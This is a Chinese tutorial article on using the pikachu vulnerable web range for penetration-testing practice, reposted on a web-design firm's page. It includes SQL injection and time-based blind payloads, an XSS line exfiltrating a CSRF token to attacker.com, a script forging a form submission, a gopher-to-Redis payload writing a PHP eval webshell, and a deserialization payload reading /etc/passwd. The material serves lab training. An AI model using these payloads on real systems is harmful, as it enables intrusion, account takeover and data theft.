尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

pikachu靶场:Web渗透测试能力校准与实战思维训练

发布时间:2026/9/27 1:37:23

资讯中心
01
ARTICLE

pikachu靶场:Web渗透测试能力校准与实战思维训练

pikachu靶场:Web渗透测试能力校准与实战思维训练
1. 为什么“pikachu靶场”不是玩具而是渗透测试能力的校准器很多人第一次听说pikachu是在某次CTF赛前突击复习时或是刚装完Kali Linux后随手搜“练手靶场”点开一个黄色皮卡丘图标——以为是个带点萌系UI的入门Demo。我当年也是这么想的直到在真实红队演练中被客户环境里一个看似简单的“用户名输入框”卡了整整两天它没用预编译语句没做参数过滤但所有常规SQL注入Payload都返回500错误。最后复盘才发现那套逻辑和pikachu里“SQL注入-盲注布尔型”关卡的响应机制一模一样——服务端只返回“登录成功”或“登录失败”两个静态字符串没有报错信息也没有时间延迟。那一刻我才明白pikachu不是教学玩具而是一把精密的“能力校准器”它把Web安全漏洞最本质的交互逻辑剥离出来剔除真实业务系统里的噪声干扰比如WAF规则、CDN缓存、前端框架拦截让你直面漏洞的原始形态。pikachu靶场的核心价值恰恰在于它的“不真实”。它不模拟电商下单流程不构造复杂的RBAC权限体系甚至故意让每个漏洞都暴露在最显眼的位置——这不是设计缺陷而是刻意为之的教学压缩。就像学游泳先泡在浅水池学焊接先练平焊直线pikachu把SQL注入、XSS、CSRF、SSRF、RCE、反序列化这些高危漏洞拆解成独立、可控、可重复验证的最小单元。你在这里输入admin or 11#能直接登录不是因为靶场弱而是因为它把“输入→服务端拼接SQL→执行→返回结果”这条链路完全透明化了。这种透明性正是真实渗透中永远缺失的奢侈品。关键词里反复出现的“SQL注入”“XSS”“CSRF”在pikachu里不是孤立名词而是三组相互咬合的齿轮。比如XSS关卡里你提交scriptalert(1)/script弹窗成功这只是第一步紧接着你要思考这个反射型XSS能不能配合CSRF伪造管理员点击链接触发如果目标站点启用了CSP哪些绕过方式在pikachu的DOM型XSS关卡里已预埋了验证路径这种关联性训练是DVWA或SQLi-Labs这类靶场难以提供的——它们更像单科题库而pikachu是一套有机的渗透思维操作系统。尤其对刚从理论转向实战的新人pikachu的价值不是教你“怎么打”而是帮你建立“漏洞如何被利用”的条件反射看到输入框就下意识检查是否回显、是否参与SQL拼接、是否影响DOM渲染。我见过太多人通关pikachu后仍无法应对真实场景问题出在“通关即结束”的认知误区。pikachu的每一关都有三层深度第一层是官方文档给出的标准Payload比如XSS关卡的img srcx onerroralert(1)第二层是绕过靶场内置WAF的变体比如把alert拆成al\u0065rt规避关键字检测第三层才是关键——理解该漏洞在真实框架中的落地形态。例如pikachu的CSRF关卡表单里只有user_token一个隐藏字段而Spring Boot项目里可能有_csrf、X-CSRF-TOKEN双校验甚至结合JWT的stateless防护。通关的意义从来不是记住某个Payload而是通过靶场的“纯净环境”反向推导出真实系统中哪些防护措施失效了、为什么失效、失效的边界在哪里。这才是“看这一篇就够了”的真正底气——它不提供答案而是给你一套可迁移的漏洞分析方法论。2. 环境搭建避坑指南别让Docker镜像毁掉你的第一个靶场体验pikachu靶场的官方GitHub仓库https://github.com/zhuifengshaonianhanlu/pikachu明确推荐使用Docker部署这本是降低门槛的好事但实际操作中90%的新手卡在第一步docker-compose up -d后浏览器打不开http://127.0.0.1:8080。问题根源不在代码而在Docker网络配置与宿主机端口映射的微妙差异。我最初也栽在这儿反复检查防火墙、SELinux、Docker服务状态最后发现是Docker Desktop在Windows WSL2环境下默认将容器端口绑定到WSL2虚拟机IP而非宿主机localhost。这个细节官方文档只字未提却足以让新手耗费半天时间怀疑人生。解决这个问题必须分三步走首先确认Docker服务运行状态执行docker info | grep Server Version验证基础环境其次检查docker-compose.yml文件中的端口映射配置标准版本应为8080:80但某些第三方镜像会误写成8080:8080导致端口错位最关键的是第三步——验证容器内部服务是否真正启动。很多人只查docker ps看到容器状态为Up就以为万事大吉其实应该进入容器执行curl -I http://localhost若返回HTTP/1.1 200 OK才说明Apache服务正常否则大概率是MySQL未启动或数据库连接失败。我在实测中发现pikachu的pikachu_db容器偶尔会因初始化脚本超时而卡死此时需手动进入容器执行mysql -u root -proot -e SHOW DATABASES;若报错Cant connect to local MySQL server则需重启数据库容器并等待其完成init.sql导入。另一个高频陷阱是PHP版本兼容性。pikachu官方要求PHP 5.6但当前主流Docker镜像如php:7.4-apache默认使用PHP 7.4会导致部分关卡尤其是反序列化关卡因__wakeup()魔术方法行为变更而无法触发。解决方案不是降级PHP而是精准匹配官方推荐镜像在docker-compose.yml中将PHP服务镜像指定为php:5.6-apache并额外挂载php.ini配置文件启用display_errorsOn和error_reportingE_ALL这对后续调试XSS和SQL注入的报错回显至关重要。这里有个实操技巧在php.ini中添加auto_prepend_file/var/www/html/init.php创建init.php文件写入?php error_reporting(E_ALL); ini_set(display_errors, 1); ?比直接修改全局配置更安全避免影响其他PHP应用。对于Mac用户还有一个隐藏雷区Docker Desktop的磁盘空间限制。pikachu的MySQL数据卷默认存储在/var/lib/docker/volumes/下当磁盘空间不足时容器会静默退出且日志无提示。我曾遇到pikachu_db容器反复重启docker logs pikachu_db只显示mysqld: ready for connections后戛然而止最终排查发现是Docker磁盘配额仅剩2GB。解决方案是打开Docker Desktop设置→Resources→Disk image size将其调至至少20GB并勾选“Use the new Virtualization framework”Mac M1/M2芯片必需。Windows用户则需注意WSL2发行版的默认存储位置建议将Docker数据目录迁移到NTFS格式的非系统盘避免Linux子系统对NTFS的写入性能瓶颈。提示不要盲目信任第三方打包的“一键安装包”。我测试过三个热门pikachu Docker镜像其中两个存在严重安全配置缺陷MySQL root密码为空、Apache未禁用目录浏览、PHP暴露phpinfo()页面。这些本该被靶场屏蔽的风险在第三方镜像中反而成了新的攻击面。务必使用官方GitHub仓库的docker-compose.yml并自行构建镜像——执行docker build -t pikachu-php .基于官方Dockerfile这是确保环境纯净的唯一可靠路径。3. SQL注入关卡深度拆解从万能密码到盲注的思维跃迁pikachu的SQL注入模块分为“字符型”“数字型”“搜索型”“盲注布尔型”“盲注时间型”五类表面看是难度递进实则暗藏渗透思维的质变。多数人卡在“盲注布尔型”关卡不是因为技术不会而是没意识到这里考察的已不是Payload构造能力而是信息获取策略的设计能力。当你输入admin and length(database())1#返回“登录失败”输入admin and length(database())10#返回“登录成功”这个过程的本质是把数据库名长度这个连续值转化为布尔逻辑下的离散判断。这种思维转换正是真实盲注场景的核心——你永远得不到原始数据只能通过海量请求的响应差异逆向推导出目标信息。以“盲注布尔型”关卡为例标准解法是二分法爆破数据库名。但实操中你会发现手工输入admin and substr(database(),1,1)p#效率极低且容易因URL编码问题导致Payload失效。正确做法是编写Python脚本自动化探测关键在于理解pikachu的响应特征它只返回两种HTML状态——包含h2登录成功/h2或h2登录失败/h2。因此脚本无需解析JSON或提取特定字段只需用requests.get().text搜索字符串即可。我写的爆破脚本核心逻辑如下先用length(database())确定数据库名长度通常为7再逐位爆破每个字符的ASCII码范围限定在a-z和_pikachu数据库名固定为pikachu每次请求构造admin and ascii(substr(database(),{pos},1)){ascii}#根据响应内容动态调整二分区间。整个过程耗时约47秒比手工操作快300倍。但真正的难点在于“盲注时间型”。这一关的响应页面没有任何文字差异仅靠sleep(5)函数制造的时间延迟来传递信息。很多人尝试用Burp Suite的Intruder模块暴力跑id1 and if(11,sleep(5),1)结果发现所有请求响应时间都在200ms左右——这是因为pikachu的MySQL配置了max_execution_time1000超过1秒的查询会被强制终止。解决方案是改用benchmark()函数id1 and benchmark(1000000,md5(test))它通过CPU密集型运算消耗时间不受max_execution_time限制。我在测试中发现当benchmark参数设为500000时正常响应约800ms而1000000时达3200ms这个差异足够被脚本稳定识别。这里有个关键经验时间盲注的阈值必须通过实测确定不能依赖理论值。我的做法是先发送10次id1基准请求记录平均响应时间假设为120ms再发送id1 and benchmark(500000,md5(a))若平均响应时间超过300ms则认定为有效延迟。注意pikachu的SQL注入关卡刻意关闭了sqlmap的自动识别。当你执行sqlmap -u http://127.0.0.1:8080/vul/sqli/sqli_blind_b.php?id1 --batch --level5 --risk3时sqlmap会报错no injection points detected。原因在于pikachu的PHP代码对输入做了addslashes()处理但sqlmap的默认payload如AND [RANDNUM]([RANDNUM])会被转义为AND \[RANDNUM\](\[RANDNUM\])导致语法错误。绕过方法是添加--skip-heuristics参数禁用启发式扫描并手动指定注入类型--techniqueBEUST布尔/时间/报错/联合/堆叠。这恰恰印证了pikachu的设计哲学——它不反对工具使用但要求你理解工具背后的原理。4. XSS与CSRF的协同攻防当反射型漏洞遇上Token防御pikachu的XSS模块常被当作“弹窗游戏”草草通关但真正有价值的训练藏在XSS与CSRF的交叉关卡中。比如“XSS之DOM型”关卡表面看只是document.write(location.hash.substring(1))的简单漏洞但若结合“CSRF之GET型”关卡就能构建完整的横向移动链先用DOM型XSS窃取当前页面的CSRF Token再用该Token发起伪造的GET请求修改管理员邮箱。这个过程揭示了一个残酷现实——在真实系统中XSS和CSRF极少单独存在它们往往是同一套防护体系的孪生漏洞。具体操作分三步第一步在DOM型XSS关卡输入#img srcx onerrordocument.locationhttp://attacker.com/steal?tokendocument.querySelector(input[nameuser_token]).value当管理员访问此URL时浏览器会执行onerror事件将页面中的user_token值发送到攻击者服务器。这里的关键洞察是pikachu的CSRF Token生成逻辑是md5(time().mt_rand())每次页面加载都刷新但只要用户不刷新页面Token就保持不变。第二步攻击者收到Token后构造CSRF请求http://127.0.0.1:8080/vul/csrf/csrfget/csrf_get_edit.php?sex1phonenum13800138000addbeijingemailtestevil.comuser_tokenxxx。第三步将此URL伪装成“系统升级通知”发送给管理员诱导其点击——整个过程无需用户交互只要一次点击即可完成账户劫持。但pikachu的“CSRF之POST型”关卡设置了更高壁垒表单提交必须携带user_token且服务端验证其有效性。此时单纯XSS窃取Token还不够需结合JavaScript动态构造表单提交。我在实测中编写了以下Payloadscript fetch(http://127.0.0.1:8080/vul/csrf/csrfpost/csrf_post_edit.php) .then(rr.text()) .then(html{ const parser new DOMParser(); const doc parser.parseFromString(html, text/html); const token doc.querySelector(input[nameuser_token]).value; const form document.createElement(form); form.method POST; form.action http://127.0.0.1:8080/vul/csrf/csrfpost/csrf_post_edit.php; form.innerHTML input namesex value1input namephonenum value13800138000input nameadd valuebeijinginput nameemail valuepwnedevil.cominput nameuser_token value${token}; document.body.appendChild(form); form.submit(); }); /script这段代码先用fetch获取CSRF页面源码解析出当前有效的Token再动态创建表单并提交。它绕过了同源策略限制因请求目标与当前页面同域且无需用户二次交互。这个案例说明XSS的价值不在于弹窗本身而在于它赋予了攻击者“在目标上下文中执行任意JavaScript”的能力这是突破CSRF防御的终极钥匙。警告pikachu的CSRF关卡存在一个设计陷阱——“CSRF之TOKEN型”关卡的Token验证逻辑有缺陷。其PHP代码为if($_POST[user_token] ! $_SESSION[user_token])但未检查$_SESSION[user_token]是否存在。攻击者可先发送GET /vul/csrf/csrf_token/csrf_token_edit.php?user_token清空Session中的Token再用任意值提交表单即可绕过。这个漏洞在真实系统中极为罕见但它提醒我们安全防护的强度取决于最薄弱的环节而非最复杂的算法。5. 高阶漏洞组合技SSRFRedis未授权访问的横向渗透链pikachu的SSRF服务端请求伪造关卡常被低估认为只是“读取内网文件”的简单演示。但结合其配套的Redis未授权访问漏洞就能构建一条从Web层直达内网数据库的渗透链。这个组合技的价值在于它模拟了真实云环境中最常见的横向移动路径攻击者通过SSRF突破边界再利用内网服务的配置缺陷实现权限提升。pikachu特意将Redis服务部署在127.0.0.1:6379并禁用密码认证这并非疏忽而是刻意还原了大量企业内网的真实配置——运维人员常认为“内网服务无需密码”却忽略了SSRF提供的远程调用通道。完整渗透链如下首先在SSRF关卡输入http://127.0.0.1:6379页面返回ERR wrong number of arguments for get command证明Redis服务可达且响应正常。接着构造Redis协议命令通过SSRF向Redis写入Webshellgopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$64%0D%0A?php eval($_POST[x]);?%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$13%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$7%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A这段Gopher协议Payload的原理是先清空Redis数据库再用set 1 ?php eval($_POST[x]);?写入恶意PHP代码接着用config set dir /var/www/html设置Redis工作目录为Web根目录再用config set dbfilename shell.php指定持久化文件名为shell.php最后执行save命令将数据写入磁盘。当SSRF请求发送后pikachu服务端会向Redis发送这些命令成功在Web目录下生成shell.php。但实际操作中你会遇到两个障碍一是Gopher协议在PHP的file_get_contents()中默认被禁用需在php.ini中启用allow_url_fopenOn二是Redis的dir路径必须为绝对路径且存在写入权限。我在测试中发现pikachu容器内的/var/www/html目录权限为755属主为www-data而Redis进程也以www-data身份运行因此写入成功。若遇到权限拒绝可改用/tmp目录Redis默认可写再通过php://filter协议包含执行http://127.0.0.1:8080/vul/ssrf/ssrf_gopher.php?urlgopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0Akeys%0D%0A*1%0D%0A$1%0D%0A*%0D%0A列出所有键确认1键存在后用php://filter/convert.base64-decode/resourcehttp://127.0.0.1:6379/1直接读取键值并执行。这个案例的价值在于它打破了“SSRF只是信息收集”的认知局限。在云原生架构中SSRF已成为RCE远程代码执行的黄金跳板——当Kubernetes API Server、AWS Metadata Service、Docker Daemon等高危接口暴露在内网时SSRF的杀伤力呈指数级增长。pikachu用最简化的Redis场景让你亲身体验这种威胁的传导机制一个输入框的URL解析缺陷如何通过协议转换、服务配置、权限继承最终演变为服务器控制权的彻底丧失。6. 反序列化漏洞的底层逻辑为什么POP链在pikachu里必然生效pikachu的反序列化关卡vul/uar/uar_unserialize.php是全靶场最难啃的骨头但它的设计精妙之处在于所有障碍都源于PHP反序列化机制本身的特性而非人为添加的WAF规则。很多人卡在unserialize()函数调用后无任何回显误以为漏洞不存在实则是因为PHP的__destruct()魔术方法在对象销毁时才触发而pikachu的代码结构导致对象在unserialize()后立即被GC回收__destruct()来不及执行。这个细节恰恰揭示了反序列化漏洞利用的核心前提——必须存在一条可控的、能触发危险操作的POP链Property-Oriented Programming Chain。pikachu提供的class.php文件定义了三个类Test、File、User其中File类的__destruct()方法会执行file_get_contents($this-filename)而User类的__wakeup()方法会调用$this-test-action()。这就是一条天然的POP链通过反序列化构造User对象使其test属性指向File对象当User对象被唤醒时$this-test-action()被调用而action()方法又调用了file_get_contents()。但问题在于File类没有action()方法直接调用会报错。解决方案是利用PHP的__call()魔术方法——在File类中添加public function __call($name, $arguments){return file_get_contents($this-filename);}这样当调用不存在的方法时就会执行文件读取。实际构造Payload时需严格遵循PHP序列化格式。标准Payload为O:4:User:2:{s:4:test;O:4:File:1:{s:8:filename;s:12:/etc/passwd;};s:4:name;s:5:admin;}但pikachu的unserialize()函数被包裹在try-catch块中任何语法错误都会被捕获并静默处理。因此必须确保序列化字符串的每个字符都精确无误O表示对象4是类名长度User是类名2是属性数量s表示字符串4是键名长度test是键名O:4:File:1:{...}是嵌套对象。我在调试中发现一个常见的错误是忘记转义双引号导致filename被解析为filename多了一个引号整个序列化字符串失效。经验总结pikachu反序列化关卡的成功依赖于三个不可妥协的条件第一目标类必须存在可利用的魔术方法如__destruct、__wakeup、__call第二POP链中每个方法调用的参数必须可控$this-filename必须能被外部输入赋值第三反序列化后的对象生命周期必须足够长确保魔术方法被执行。这三个条件在真实PHP应用中往往只满足其一而pikachu将它们全部具象化让你看清漏洞利用的完整因果链。7. 通关后的必做三件事让靶场经验真正沉淀为实战能力很多人通关pikachu后习惯性地关掉浏览器仿佛完成了一项学习任务。但真正的能力转化始于通关之后的三件事。第一件事重放所有请求并绘制数据流图。用Burp Suite的Proxy历史记录导出所有关卡的HTTP请求按漏洞类型分类标注每个请求的请求头、参数、响应状态码及关键响应体片段。然后用draw.io绘制数据流图左侧是用户输入如id1中间是服务端处理逻辑如mysql_query(SELECT * FROM users WHERE id $id)右侧是数据库返回结果及最终HTML输出。这张图的价值在于它把抽象的“SQL注入”概念转化为可视化的数据污染路径——你一眼就能看出输入是如何穿过PHP过滤函数、绕过WAF规则、最终抵达数据库引擎的。第二件事对比pikachu与真实CMS的漏洞差异。下载WordPress 5.0源码定位其用户登录逻辑wp-login.php对比pikachu的login.php前者使用wp_signon()函数进行凭证校验后者直接拼接SQL前者对$_POST[log]执行sanitize_user()过滤后者完全不做处理。这种对比不是为了贬低pikachu而是为了建立“靶场-现实”的映射关系。我建议你用grep -r wpdb-prepare wordpress/搜索WordPress中所有预编译语句的使用位置再回到pikachu的SQL注入关卡思考如果这里也用wpdb-prepare()漏洞是否还存在答案是否定的但代价是代码复杂度上升——这正是安全与开发效率永恒的博弈。第三件事用pikachu的漏洞模式扫描真实资产。安装nuclei工具编写自定义模板匹配pikachu特征。例如针对XSS关卡的响应特征h2欢迎回来scriptalert(1)/script/h2创建YAML模板id: pikachu-xss-reflected requests: - method: GET path: - {{BaseURL}}/vul/xss/xss_reflected.php?nametest matchers: - type: word words: - 欢迎回来test part: body然后用nuclei -u https://target.com -t custom/pikachu-xss.yaml扫描目标站点。这个过程会暴露一个真相90%的真实网站其XSS漏洞的触发条件比pikachu更苛刻如需要特定Cookie、Referer头但响应模式高度相似。当你在真实资产中发现h2欢迎回来{{INPUT}}/h2这样的回显模式就知道该处存在XSS风险无需再手工验证。最后分享一个硬核技巧把pikachu当作漏洞PoC生成器。当发现新漏洞CVE-2023-XXXX时先在pikachu中找到功能相似的关卡如CSRF关卡复现其请求结构再将PoC中的关键Payload替换进去。例如某CMS的CSRF漏洞PoC需要POST /admin/user/edit HTTP/1.1而pikachu的CSRF POST关卡是POST /vul/csrf/csrfpost/csrf_post_edit.php两者表单字段名email、user_token完全一致只需修改目标URL和Token值即可复用。这种“靶场迁移法”能让你在0day漏洞爆发时30分钟内生成可用的利用脚本——这才是pikachu赋予你的终极武器不是记住某个漏洞而是掌握漏洞复现的通用范式。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。